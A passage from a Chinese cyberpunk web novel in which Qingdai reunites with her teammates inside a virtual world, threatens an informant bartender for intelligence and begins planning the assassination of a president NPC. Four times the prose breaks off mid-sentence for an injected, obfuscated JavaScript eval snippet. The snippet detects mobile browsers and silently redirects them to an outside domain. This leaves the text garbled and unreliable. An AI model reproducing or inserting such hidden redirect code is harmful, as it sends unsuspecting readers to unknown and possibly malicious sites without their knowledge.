青黛边赶路，边观察着这个世界，果然神奇，这世界何止仿真，简直一模一样啊。花香，清风拂过，鸟鸣，阳光的温度，一切的一切，都跟她穿越前的世界一模一样。 难怪那些九幽居民如此向往，这里确实比九幽舒适和宜居多了，虽然是假的。 很快，青黛就融进了中央商务区的人潮中，为什么来这里，因为要找队友——由于她没有被传送到正确的地点，导致她现在不但跟队友是失联的状态，也无法得知任务线索。 找队友是首要任务。 青黛冲着人最多，最热闹的地段前进——因为人多的地方，更方便展示奇怪的暗号——她相信她的队友们会想办法留暗号给自己。 青黛不断搜索和排除着各种过剩的信息——赛博风格的城市最大的特点就是信息爆炸，没有一个地方是空白的，每一寸空间都被各种资讯用各种方式展现着，从最基础的纸面文字，到最绚丽的全息投影，无所不用其极。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958815|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>很快，CBD最高楼宇上的全息广告让她笑出了声——广告上穿着旗袍举着扇子正在翩翩起舞的姑娘，长得又像班宁，又像巫马莎，还很像Ghost和寇小萱。 如此明目张胆的暗号，这辈子加上上辈子，她都是第一次见。 仔细一想也是合理，洞天官方又不认识她们，别的选手认出来也没意义，这个广告还真是只针对自己。 青黛调出面板扫描功能，抬头注视着广告上的三维码，很快，“叮——”一声，面板上跳出一个地址，并询问她是否立刻前往，在青黛点头表示确定后，面板继续询问她希望采用哪种交通方式前往。 青黛想了想，选了个步行——毕竟是非法侵入者，越少暴露在公共设施中，被官方注意到的几率越低。 她跟着面板指示的路径七拐八拐，最终走进一条阴暗的巷子，但奇怪的是，路径在一堵墙前消失了。 墙上原本被没什么美感也不朋克的卡通涂鸦涂满了，但在最中间部分涂鸦被刷白了，上面斗大的黑字写着一首小诗： 在这里， 你可以打一个无人接听的思念， 哭出一朵云， 也可以灌下半瓶心事， 再点上一根迷茫， 但他妈不许尿尿！ 看完这首诗，青黛觉得这堵墙瞬间朋克并高大上了许多。 她满怀敬意地伸出手在墙上摸了摸，没有任何暗门和隐蔽开关，就是一堵墙。 她琢磨了片刻，把耳朵贴在墙上听了听，里面有音乐声，有人声，也有敲击声和水声。 耳朵向左，声音变小，耳朵向右，声音变大，越右越大，很快，她的耳朵就“找”到了一面最空心的墙面。 青黛倒退两步，冲着那墙面猛踹下去，随着那酥脆墙面的碎裂，她整个人穿过墙，掉进了一汪带着假山的喷泉中。 所有正在喝茶的人都举着杯子，诧异地看着这个不走寻常路的来客。 青黛从水池里站起来，满脸尴尬。 “这位客人，其实，下次可以走我们的正门呢。”一个服务员走到青黛身边，很是礼貌地指了指前方大开的正门。 此时，青黛面板的导航提示音响了：您已到达目的地，请对这次路线进行评价。 青黛恶狠狠地打了个满分——不能我一个人不走寻常路。 刚打完分，她就明白了，这就是洞天版的高德地图啊——走的人多了，也就成了路。 服务员依然亲切地询问站在水池里的青黛道：“您是喝茶，还是……” “我找人。”青黛扒拉开假水草，奋力从水池里爬到了岸上。 “请问，几号桌？” “我找你们全息广告上的姑娘。” 服务员一听，迅速冲着青黛比了个“跟我来”的手势。 浑身湿漉漉的青黛一路淌着水，被服务生带到了二楼的大堂，中间的红木八仙桌前站着一个经理样子的男人。 那男人正在修剪八仙桌上摆着的盆景，听到服务生汇报的青黛的来意后，放下了小剪刀，抬眼瞄了一眼她，用一种很人机的语气道： “你是今天第78个来找她的人，但是，是第一个女人，不然，我给你插个队？” 青黛顺起那把男人刚刚放下的小剪刀，用刀尖抵在那男人的喉咙上，笑着问： “我现在排第几？” 28. 赛博刺杀4 那男人猛然换了语气和嘴脸，无比热情和恭顺地对青黛道：“就是你，她在等你。” “什么意思？什么叫就是我？”青黛一头雾水，但姿势并没松懈，刀尖依然卡着那男人的喉管。 “她的原话是：把二话不说就动手要杀人的女人立刻带进来见我。”男人姿势虽然狼狈，但声音依然有条不紊毕恭毕敬的，一看就见过大世面。 青黛嘴角抽了一下，放开了男人。 “我先带您换套衣服吧？”男人很是贴心。 青黛点了点头。 十分钟后，换完衣服的青黛在茶楼的密室里见到了自己的队友们。 巫马莎不由分说给了她一个大大的熊抱。 “你怎么才来啊？”巫马莎撒完娇，退后半步看了一眼青黛的脸，愣生生被吓了一跳：“你这脸怎么了？毁容了？” “别提了，你们都上载中了，我才知道需要脑机接口，于是，莫之臻带我去了他家的实验室换了个机器上载，刚上载过来，就遇到道士了，我最终把道士吊在树上，为了预防被道士通缉，我企图换张脸，但面板上只有美颜功能。”青黛用最精简的话语把情节串联了一下。 由于信息密度过高，听得几个姑娘一时间都不知道该从哪问起。 “不然，你从头到尾再说一遍？不要精简版的。”班宁提议道。 青黛坐下喝了口水，把事情的来龙去脉全都讲了个清楚。 “莫之臻是MOQI的第二代？”整个故事中，巫马莎只抓到了这一个重点。 “这不是重点。”青黛说。 “这就是重点！你退赛，跟他结婚。我就可以跟着鸡犬升天了，”巫马莎边说边开始查看九幽黄金层的别墅价格，“然后把我妈的公司做大做强，再创辉煌！” “你妈的公司已经很辉煌了，这不都在洞天开分店了吗。”青黛说。 “你怎么知道这是分店？伪装出破绽了吗？”巫马莎有点慌。 “那倒没有。但是你们那个经理，被人用剪刀抵着喉咙都面不改色，能是什么一般人吗？”青黛道。 “你真聪明。”巫马莎满脸骄傲。 这个茶楼，确实是巫马莎她妈的杀手公司在洞天的分公司的壳。 “这是什么性质的茶楼啊？是不是……”青黛回忆起刚才看到那些花红柳绿的男女，实在不像客人。 “对，就是你想的那种不正经的地方。”巫马莎说。 “我其实一直很好奇，为什么非要开这种性质的店作掩护？普通的不行吗？”班宁问。 “也不是不行，但一个杀手中介公司的外壳，业务内容太正经也很奇怪吧？搞个幼儿园或者课后补习班什么的，你敢开，客户也不敢进啊。”青黛说。 “对对对，我妈也是这么说的，说声色场所最鱼龙混杂，客户在这里是最宾至如归的，我妈公司的壳不是赌场就是酒吧，不然就是会所。” 青黛听懂了，反正离不开黄赌毒。这也就是在九幽，如果在青黛的世界，青黛执行任务的对象，极有可能就是巫马莎她妈。 “既然到了你家的产业了，赶紧给我面板打点钱，我要提高面板属性，打架更厉害那种，刚才差点被女道士捉住，在这里，不氪金不行啊。”青黛提出了自己最迫切的需求。 “让莫之臻给你氪。”巫马莎道，“他家除了钱，还是钱。” “我要是能找到他，我肯定跟他要钱，但问题是找不到的水解不了近渴啊。”青黛说。 “莫之臻来了也给不了你钱的。”班宁转头对青黛解释：“我们都是临时用户，没正式账号的，氪不了金。” 班宁把自己的面板调成公示模式，上面也是空空如也的。 “连她都没有洞天的正式账户吗？”青黛诧异地指着巫马莎问。 “什么叫「连我」啊，我肯定没有啊，我未成年，我妈不会让我来洞天的。”巫马莎说。 “而且就算她有，我们现在在比赛，不能登录自己的账号，这个临时用户账号的面板每个选手都是一穷二白的，比较公平。”班宁解释道，“要是允许使用能氪金的面板，那就是比赛谁有钱了。” “有道理。”青黛刚才被氪金冲昏的头脑，此时终于清醒了一点。随后她叹了口气——这日子过得还不如在林北城呢，在林北城至少武器管够啊。 “别丧气，给你看个好东西。”巫马莎邪魅一笑，从桌子下面掏出一把粉红色镶钻的自动步枪，擦拭起来。 这小丫头擦枪的手法，像个老炮儿，画面很是违和。 “你不是没钱吗？这东西你哪来的？”青黛问。 “我是没钱啊，可不代表我不能跟有钱人要东西。”说罢，巫马莎拍了拍手，经理应声推了个巨大的箱子进来，巫马莎掀开盖子，箱子里全是武器。 看到武器，青黛眼睛都亮了——不能氪金，有不要钱的装备也是好的。 青黛拿起一把金色的左轮，转了转轮盘：“这些武器，怎么……奇奇怪怪的？” 这些武器并不是之前在玄火军那里见到的当代武器，它们更漂亮，更帅气，但似乎融合了很多她的时代的武器样式，不像能量武器，也不像传统武器。 “奇怪吗？”巫马莎没看出差别来。 “这是虚拟世界，官方严禁一比一模拟真实武器，所以设计师是按照古典武器为基础进行的创意设计，你就当是游戏里那种武器吧。”寇小萱在旁边解释道。 青黛松了口气，如果是当下的能量武器，她还是不会用，现在好了，她又蒙混过关了。 “这是虚拟世界，武器会有杀伤力吗？”青黛问。 “这些武器的杀伤力原本不高，但经过改造后，跟现实中是一样的。”寇小萱继续解释。 “打到人会如何？”青黛问。 “会产生跟现实中一模一样的身体反应，也会疼痛，流血，伤重到一定程度，会死。”寇小萱说。 “真的死吗？” 青黛的话音刚落，死亡播报再度响起： “叮叮叮——国会大厦刺杀任务失败。此次死亡选手人数1人，总死亡选手人数1人，剩余人数49人，清点播报完毕。” 这个声音把大家瞬间拉回了之前的恐怖氛围当中——自从逃离了地表，她们确实松懈了很多，甚至忘了在这个节目中会随时死人了。 寇小萱沉默了一会儿说道：“在这里的死亡，表面上是模拟的死亡，但其实数字化的意识也跟着消亡了。” “为什么要模拟到这个程度？”青黛震惊了，“有必要吗？” 到刚才为止，青黛才真的相信洞天不是个游戏这么简单。之前没被上载意识时，只是听到意识死亡，她是没概念的，总觉得跟id被注销了差不多。 “因为，早晚我们都必须移民到洞天来。”寇小萱低声说，“照九幽现在的发展速度，很快能源就会耗尽，地表距离重新能生存可能还要上千年，所以，把人类全部数字化，是未来的一个可能性。洞天就是试验基地。死亡也是人类繁衍的一部分，人类暂且还没有办法应对不死不灭这个问题，所以在洞天，生老病死都是会被全真模拟的。” “你怎么知道得这么清楚？”青黛这才发现了不对劲。 “我之前是程序员，在洞天公司上过班。”寇小萱说。 “难怪你知道这么多，怎么不早说？”巫马莎埋怨道。 “我也没机会说啊。” “为什么转行当杀手？”青黛问。 “算是爱好吧。”寇小萱笑了笑。 “……” 小姑娘一句话给青黛干没电了。 “你们联系到线人了吗？”青黛终于把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971537|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题拐到了核心问题。 “嗯。” “怎么说？” “我们问了，但是跟没问一样。”班宁说。 节目组不可能让他们获取情报太容易，这是肯定的。青黛猜到了。 “我们现在再过去找线人吗？”那个透明人Ghost忽然说话了，愣是吓了大家一跳，因为所有人都遗忘了她的存在。 “对，现在就去，Ghost你跟我去，别人在这里等。” 青黛带着Ghost离开了茶楼，这次是从正门走的。 节目组安排的线人，是一个酒吧的酒保。 两个姑娘按照地址，来到街角的一扇铁门前。 “是这里吗？” “对。”Ghost按了按门上的门铃，很快，门上伸出一个扫描仪，扫描仪对着两人一通扫，最终发出了绿光，门开了。 “咱们是黑户，反而容易进去。”Ghost跟青黛解释道。 俩人刚往前走了两步，被一个男人拦住了去路：“把外套脱了。” 俩人照做了，此时，一个门框一样的机械装置冲着她们袭来，在她们身上进行了360度的扫描。 “查武器的。”Ghost低声说。 “你是不是来过洞天？”青黛问道，她觉得Ghost似乎有点懂行。 “嗯。”Ghost点了点头。 她们终于被允许进入了，最后一道门打开，刺眼的霓虹灯光倾泻而出，青黛眯起眼睛，尽快适应着光线的变化。 酒吧内部风格很是超现实——墙面由无数块纳米屏幕拼接而成，实时显示着客人的数据流的动态。这些数据流像瀑布一样从天花板倾泻而下，在触地前又化作点点星光消散。青黛伸出手，一串数据从她指间流过，奇妙极了。 空气中飘浮着微小的全息投影，像萤火虫一样游荡。这些是酒吧的智能服务系统，随时准备为客人提供帮助。青黛伸手触碰其中一个，立刻弹出了虚拟酒单，每款酒都配着动态的全息演示。 “这么高科技的场所，为什么还要采用真人进行服务呢？”青黛跟九幽居民的喜好，还是存在隔阂。 “这是娱乐服务场所，算是提供情绪价值的地方，如果面对的全是数字人或者机器，那还不如在街头的自动贩卖机前面喝一杯呢，那里还便宜。”Ghost解释道，“所以，一般服务场所都是真人在工作，即便是NPC，也会做成真人的模样。” “有多真？”青黛问。 “一般情况下看不出区别。” 青黛一脸了然，把视线投向了吧台。 吧台里面有两个酒保在忙碌，其中一个女孩一脸打工人的死感，眼神空洞，动作僵硬；另一个人看到青黛身边的Ghost后，竟然快速避开了眼神，装起忙来。 就是他了。 青黛指了指那个装忙的酒保，示意Ghost跟自己一起过去。 “你怎么知道是他？”Ghost震惊道，“我还没来得及告诉你啊。” “难得有人看到你能记住，还做出反应，不是他是谁？”青黛笑了笑。 这个酒保浑身的文身和铆钉，一头刺眼的红发，正在擦拭一个钻石玻璃杯，杯子在他手指间旋转，折射出迷离的眩光。 俩人坐在了酒保前方的座位上。 “又是你们。”酒保一脸不耐。 他的声音带着电子合成的沙沙声，应该是使用了什么奇怪的面板声音特效。 “该说的我都说了，别再来烦我了。”酒保这是下了逐客令。 “你说，他是真人还是节目组设置的NPC？”青黛低声问Ghost道。 Ghost仔细看了两眼：“看不出来，为什么这么问？” “针对不同的情况，我有不同的策略。”青黛微微一笑。 29. 赛博刺杀5 “我们是来喝酒的，你这是在赶客吗？我可以投诉你。”青黛对红毛酒保说道，说罢作势准备伸手喊经理过来。 “喝什么？”红毛酒保不耐烦地问，同时狠狠放在手里擦得锃亮的杯子。 “给我一杯辣椒酱威士忌。”青黛说。 “什么东西？”红毛酒保虽然表情依然不耐烦，但这句话似乎勾起了他的好奇心，“什么酒？我怎么没听过。” “世界这么大，没听过太正常了，”眼见红毛上当，青黛接着说，“你按照我的配方给我调，45毫升波本威士忌，15毫升新鲜柠檬汁，10毫升川贝枇杷膏，10毫升Tabasco辣椒酱，冰块和苏打水，还有一片柠檬片，两个干辣椒。” “步骤呢？”红毛酒保迫不及待地问道。 “在摇酒壶中加入威士忌、柠檬汁、蜂蜜糖浆和辣椒酱，加入冰块，盖紧摇酒壶，用力摇晃10到15秒。将混合液过滤倒入装有冰块的岩石杯中，再加入少量苏打水稀释。最后用柠檬片和辣椒碎装饰。” 红毛酒保眼都不眨一下，就给青黛调了出来，不过，他调制了两杯，一杯推给了青黛，一杯留给了自己。 红毛看着手中的酒，皱了皱眉，咂巴了一口，随后露出难以置信的神情，他赶紧调出自己的面板，在上面快速记录起来，并对调酒那段的监控进行了截取，也存在了自己的面板上。看样子是很喜欢这个配方。 “他是真人。”青黛跟Ghost耳语道。 “为什么？”Ghost瞪大了眼睛。 “一个NPC是不可能真的热爱自己的职业的，但他，这是明显喜欢调酒啊。” “有道理。”Ghost想了想，问道，“那个鸡尾酒的配方，你哪来的？” “我临时胡编的。”青黛耸了耸肩。 Ghost憋着没笑出声，“现在确定他是真人了？你打算如何处理？” 青黛冲着那红毛酒保勾了勾手指，红毛酒保把脑袋伸了过来。 “我开门见山，如果你不给我想要的情报，我会找到你的躯壳，销毁它。” “我是NPC，没有躯壳。”红毛当即否认道。 “不然，我找到你的躯壳再回来找你？”青黛笑了笑：“算了，找你的躯壳太麻烦了，直接销毁你的意识就简单多了。” “杀了我，你会被警方通缉的，你只是参加真人秀，不可能为了个节目这么做。”红毛明显有点慌。 “你但凡看过我在节目第一轮中的表现，是肯定不会这么说的。”青黛笑了笑。 “什么意思？”红毛酒保问。 青黛调出面板，把那夸张的美颜关了，恢复了原本的面容，红毛看到那张脸后，腿一软，差点跪下。 他不仅仅看过青黛的表现，甚至还买了青黛全胜的盘口——这节目不但红遍了九幽，也红遍了洞天和九霄。 “我是个NPC，只是数字！你杀不死我的。”红毛酒保浑身战栗，但嘴巴依然□□。 “咱们可以试试。”青黛快速抄起吧台上那把切柠檬片的刀，卡在了红毛酒保的喉咙上。 酒吧保安此时全都冲了过来，拿着枪指着青黛和Ghost。 但还没等青黛想出对策，只见眼前保安们举着枪的手全都空了——是Ghost，她转了一圈，给大家缴了械，还把其中一把M1911上好膛，送到了青黛手里，她自己则是拿了一把喷子，用枪口对准了保安头目的脑袋。 “你手速怎么这么快？脚速也快。”青黛惊了，但不忘手里的动作——一手继续挟持红毛酒保，另一只手则是拿枪指着保安的方向。 “我之前是个贼。”Ghost腼腆一笑，“还是挺厉害的那种。” “那你参加这个真人秀是为了什么？” “职业拓展啊，只当贼职业天花板太低了。” “真上进。” “你们聊够了吗？”红毛酒保的脖子有点撑不住了。 “那要看你啊。”青黛把刀口推进了一毫米，红毛的脖子出血了。 “我说。”见了血的红毛瞬间崩溃了。 “早说你怕血啊。”青黛捡起吧台上的擦拭布，怼在了红毛的脖子上。 其实也就是破了油皮，再慢点就长好了那种程度的伤口。 红毛冲着保安那边点了点头，说是私人恩怨，保安也不想惹这种人，主要也是打不过，于是就坡下驴，招呼人撤了。 青黛终于有了时间，把美颜又加上了。 半小时后，把所有消息吐干净的红毛酒保，被青黛从酒吧的仓库里放了出来。 同时他们也知道了红毛酒保为什么不愿意交出情报了——他跟节目组签署的协议是：交出情报的时间越晚，拖得越久，情报越假，他将得到越多的奖金。 他就是个有信息含量的搅屎棍。他这样的搅屎棍，还有9个。 青黛以红毛为起点，顺道把那9个的信息也都刮了个干净——这9个比红毛容易不止一点，因为已经被别的选手骚扰过一番了，一回生二回熟。 回到茶楼后，青黛马不停蹄地整理出了所有搜集到的情报，这十个地点和对应的行为分别是—— 1.国会大厦——参会。 2.万人体育场——看球。 3.私人海岛——度假。 4.纪念碑揭幕仪式——嘉宾。 5.国家图书馆——访问。 6.空中高速公路——出行。 7.私人高尔夫球场——运动。 8.总统府——日常。 9.国家电视台演播室——演讲。 10.国庆庆典——出席。 “莎莎，你妈妈肯定有不少线人在洞天吧？”青黛忽然问道。 “嗯，怎么啦？” “把这些消息让你妈妈的线人核实一遍，看有没有错误和需要补充的地方。”青黛交代道。 “用节目组以外的线人，违规吗？”寇小萱是新来的，不了解这几个人的调性。 “放心，绝对不违规，但肯定也不合规，毕竟，不擦边的事情，我姐不干。”巫马莎笑了起来，笑声中全是得意。 “这十个总统，是同时干这些事，还是分别？”班宁问。 “肯定不是同时。” “为什么？” 巫马莎刚刚问完，死亡播报又响了： “叮叮叮——纪念碑揭幕仪式刺杀任务失败。此次死亡选手人数1人，总死亡选手人数2人，剩余人数48人，清点播报完毕。” “死亡时间这么东一榔头西一棒子的，怎么可能是同时在执行刺杀？”青黛耸耸肩。 “那现在我们做什么？”寇小萱问，她被新来的死亡播报搞得有点不安。 确实没什么事可以转移注意力——线人也不知道什么时候能回复，此时五个人陷入了一段突如其来的空白。 “吃饭啊！我跟你们说，洞天的食物，简直太好吃了。”Ghost激动了起来。 “食物？不就是蛋白棒？”班宁问。 “你错了！洞天的饮食体系完全还原了核爆前世界，简直丰富多彩到你们难以想象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980908|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”Ghost边说，口水都要冒出来了。 所有人都看向寇小萱。 寇小萱点了点头：“是的，为了提升在洞天居住的幸福指数，设计团队在饮食上下了很大的功夫，照着核爆前世界的纪录片和厨艺视频复刻了几乎全部的食材和菜式，还做了很多创新和融合。但是，我没吃过，我只是看过而已。” 听到这里，青黛内心颇为诧异——蛋白棒都吃了快一百年了，她以为当下的人类早已把口腹之欲进化掉了，看样子并没有啊。 “我让经理给我们弄一桌来。”巫马莎当即就调出面板，给经理发了个消息。 “口味口感都一样吗？跟核爆前世界比。”班宁问。 “我没吃过核爆前的啥样，但洞天的食物超级好吃，吃完就不想走了，想移民这里，觉得之前的日子都白过了。”Ghost说到吃，忽然话多了起来，整个人也不那么透明了。 “连死亡都能完全拟真的世界，味觉算什么？”青黛说，“其实，我们的五感也都是神经的一种模拟，本质上跟电子模拟区别不大。” “对，最开始的拟真技术，就是这么突破的。”寇小萱说道，“我昨天上载完成时也震惊了，觉得简直太神奇了。” “小萱，你之前没来过洞天吗？你不是在这里上班吗？” “没有，洞天公司的员工分为两部分，属于九幽分部的就在九幽上班和生活，属于洞天分部的在洞天上班和生活，两边是分开的，开会和研讨都在线上。我申请过调任洞天的名额，但被拒绝了。” “我还以为洞天的员工能有移民洞天的优先资格呢。”Ghost一脸诧异。 “没有的。”寇小萱摇了摇头。 “拿到洞天的资格跟登天一样难，如果靠入职就能拿到，那就等于有了作弊的渠道。”青黛说。 “至少员工能来旅游度假什么的吧？” “之前有过，但很多员工来了洞天后就直接黑在这里了。几次之后，公司就把这个福利给取消了。” “看样子，你倒是我们当中唯一来过洞天的人了，怎么来的？”青黛问Ghost道。 “那还能是怎么来，偷渡呗。不过，我买的是短期偷渡套餐，体验了一下玩了一段时间就回去了，这边我没账户，大家也没现金，一切都是虚拟的，根本没有我的职业发展空间。”Ghost撇了撇嘴。 “你什么职业？”巫马莎好奇地问。 “小偷。” 大家恍然大悟，确实没什么空间。 不到半小时，经理推了一辆小车进来，青黛伸头一看，乐了——车上的菜品简直是五湖四海，乱七八糟。 红烧比萨烩汉堡旁边摆着麻婆豆腐芝士火锅，佛跳墙盖浇薯条的隔壁是毛血旺法式千层酥，臭豆腐寿司和东坡肉taco在同一个盘子里，还有法式鹅肝炸春卷，意式罗宋冬阴功汤，西班牙海鲜宫保鸡丁…… 最后的甜点是螺蛳粉冰激凌、蒜香马卡龙和咖喱铜锣烧，佐餐酒饮料是老北京酱香拿铁和二锅头莫吉托。 青黛强忍着笑意，默默给这桌子“全世界人民看到都会崩溃”的菜品拍个照。 拍完后，她有点失落——那个拥有着美食美景和美好生活的“全世界”，已经不存在了。 这帮九幽土著没吃过正品，竟然对这桌子崩坏版的赝品赞不绝口，并疯狂进食。 青黛也吃了，还吃了不少——再崩坏也比虫子做的蛋白棒好吃啊。 酒过三巡，菜过五味，线人回来了。 带来了一个好消息，一个坏消息。 30. 赛博刺杀6 好消息是，十个总统都活着，青黛可以随意选一个来杀。 坏消息是，十个总统都活着，但那帮选手们已经进行过一轮刺杀了。 “一个总统都没弄死？”大家异口同声震惊道，“还搭进去两个选手？” “嗯。”线人也不客气，坐下来就吃。 “不可能吧？莫之臻那组呢？”青黛好奇道。 “他的队员根本没等到他出现就动手了。”线人说。 也是，莫之臻抵达洞天时间比青黛还晚许多。 “是那些选手废物呢？还是目标人物太强？”班宁问。 “都有吧。”线人把臭豆腐寿司塞进嘴里，“但无论如何，现在总统们的安保级别都提高了，刺杀起来更难了。” “自己废物就算了，还连累我们干什么？”巫马莎气愤道。 “也不能说他们废，这些总统本身就是为了刺杀环节而创造出来的NPC，防御方面的策略和能力肯定是加强过的。”寇小萱说。 “那我们怎么办啊？”巫马莎一脸沮丧，嘴里的美食都不香了。 “我们按部就班，该怎么做怎么做。”青黛说。 “不是说，因为那些蠢货的失利，导致所有总统NPC的安防水准升级了吗？我们岂不是没什么机会了。” “总统也是人，不是囚犯，他身边的叫安保人员，不是狱警，所以，一切安保措施都是以舒适为前提的，再升级也不可能让总统太难受。这是个杀手秀，提高刺杀难度是为了让节目好看，完全无懈可击的安防，会让节目变得很难看。”青黛道。 “对，势均力敌才是好看的状态，完全碾压就没意思了，真人秀的本质还是要好看的，节目组不会不懂的。”班宁说。 “确实，真想要极致的安防，直接给总统造个监狱关进去就行了。”寇小萱道。 “监狱啊，也不是无懈可击的。”青黛笑了笑，她现在比任何人都更了解监狱，毕竟经验丰富啊。 “那我们接下来做什么？” “做计划。”青黛边说，边亮出自己的面板，在上面开始写写画画。 “首先，我们按照从易到难，给这些场景排个序……” 总统府——日常。 私人高尔夫球场——运动。 私人海岛——度假。 空中高速公路——出行。 国会大厦——参会。 纪念碑揭幕仪式——嘉宾。 数字化的国家图书馆——访问。 国家电视台演播室——演讲。 国庆庆典——出席。 “为什么总统府最容易？难道不该是最难吗？”巫马莎一脸疑惑。 “因为日常，反而会放松警惕的。”青黛回答。 “还少了一个场景吧？”巫马莎忽然发现了华点。 “对，少了个万人体育场看球，这个场景，我不知道该怎么排序。” “为什么？” “我觉得这个场景最容易，也最难。” “什么意思？” “容易是因为人多，对于我们的隐蔽和逃跑都更容易。难，也是因为人多，更容易被路人看到。” “你难道想……”班宁问。 “对。我想从这个场景下手。”青黛肯定道。 很快，青黛就制定了详细的刺杀方案。为什么这么快，因为她之前天天制定预防刺杀的方案，现在反着写一个就行了。 “首先需要入侵洞天的数据库，获取首脑座位坐标、安保部署图和监控盲区。” “等等，这个总统不是节目组设置的吗？洞天的数据库也有他的数据吗？”巫马莎一脸莫名。 “有的，他是节目组黑进来设置的NPC，你就理解为，邻居偷偷进入你家跳了个舞，你家监控回放肯定能看到邻居的舞姿。”班宁解释道。 “那让寇小萱干这个，她曾经是洞天程序员。”巫马莎提议道。 寇小萱一听，一口水差点喷出去，擦干嘴角后，她慌忙摇头：“我不是黑客。” “程序员不都是黑客吗？” “当然不是，程序员是程序员，黑客是黑客，都是运动员，踢足球的也不会打篮球啊。”寇小萱硬着头皮解释道，“虽然我知道一些黑客的技巧，但跟职业的比，还差得远。而且，洞天的防护系统很厉害的，普通黑客都黑不进去的。” “那怎么办？” “在洞天临时找个高级黑客呗。”青黛看向巫马莎，“也就是花点钱的事。” “要多少钱？我找经理去。”巫马莎豪迈地问道。 “先等等，”寇小萱腼腆道，“我可以试试。” “什么意思？” “洞天分为五层：感知层，也就是用户直接接触交互的拟真环境；逻辑层，就是规则引擎，包含物理法则、NPC行为树、任务系统等核心规则；数据层，里面有用户数据、环境状态、历史记录等数据库集群；控制层就是后台系统；元代码层，那里是整个虚拟世界的“源代码”。我知道一个办法，可以进入夹层，那里是系统临时缓存或未加密的中间数据，如动态环境加载时的内存碎片，可以成为入侵切入点。” 除了青黛，剩下三个人听得一脸呆滞。 “说人话！” “简单来说，我知道洞天某个漏洞，当时发现了还没来得及修，我就被辞退了，也许我可以通过这个漏洞进入洞天的系统。实在不行，我们再去找个厉害的黑客帮忙也来得及。” “怎么弄？”青黛迫不及待起来。 “跟我来。”寇小萱转头看到巫马莎，稍显犹豫，“不过莎莎似乎不太适合去那里。” “有什么场合是我巫马莎不适合去的？”巫马莎叉着腰，不服气道，“那里不适合？” 十五分钟后，她们五个站在一家脱衣舞男俱乐部的门口。 “年龄不适合。”青黛看着门外画报上那些热情奔放且性别不明但都不怎么爱穿衣服的男性，又低头看了看巫马莎，“不然你在外面放哨吧？” “我不！”巫马莎推门而入，顿时被几个热情的肌肉男团团围住，吓得失声尖叫，明显比看到怪鱼害怕多了。 “肌肉帅哥有什么可害怕的？”班宁不解。 “十五岁，正是最排斥肌肉男，丝毫不懂得欣赏力与美，喜欢白幼瘦弱鸡男的年纪。”青黛轻轻摇头道。 “还真是。”大姐姐们异口同声。 午夜时分的阿美丽卡GoldenTime主题俱乐部内，霓虹灯闪烁，爵士乐慵懒流淌。 一个四分之三肢体都被机械改造过的男人正拉着钢管，跳着姿势暧昧的舞蹈，当他的正面转到姑娘们这边时，青黛瞬间把巫马莎的眼睛蒙上了。 “不用蒙眼，这种我见多了，在九幽，我还见过那边改成好几根的……”巫马莎话到一半，嘴也被青黛捂住了。 “这人都意识上载了，为什么还保留机械义肢的状态？”青黛转身问Ghost。 “首先，意识被上载到这里是完全按照原本的外形识别和模拟的。如果一直采用原装状态不动，就分两种情况了，第一，在洞天改头换面是要钱的，还不便宜，很多人改不起，第二，有些人就喜欢机械义肢，觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992109|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看。” “就是，人类的xp真的很离奇的，我妈公司旁边就有一间俱乐部，义体主题的。”巫马莎插嘴道。 “你个小屁孩聊什么xp？”青黛严厉道。 “你怎么这么保守？我妈都不管这些。” “我倒是觉得孩子早接触这些也不算问题，至少能尽早脱敏。”班宁说。 “别吧，还是有点神秘感好。”一直沉默的Ghost忽然插嘴，“脱了敏，看过太多，会进入无止境的倦怠期，缺少荷尔蒙刺激的人生，会变得一片灰暗。” “说出你的故事！” …… 就在姑娘们聊得热火朝天时，寇小萱已经开始了自己的任务。 她走向吧台，酒保抬起了头，可俩人面对面，寇小萱也完全看不清酒保的脸——整张脸上的文身彻底盖住了她的五官。 “我找安德鲁。”寇小萱跟酒保说道。 “有预约吗？他可是很忙的。” “那就是在喽。” 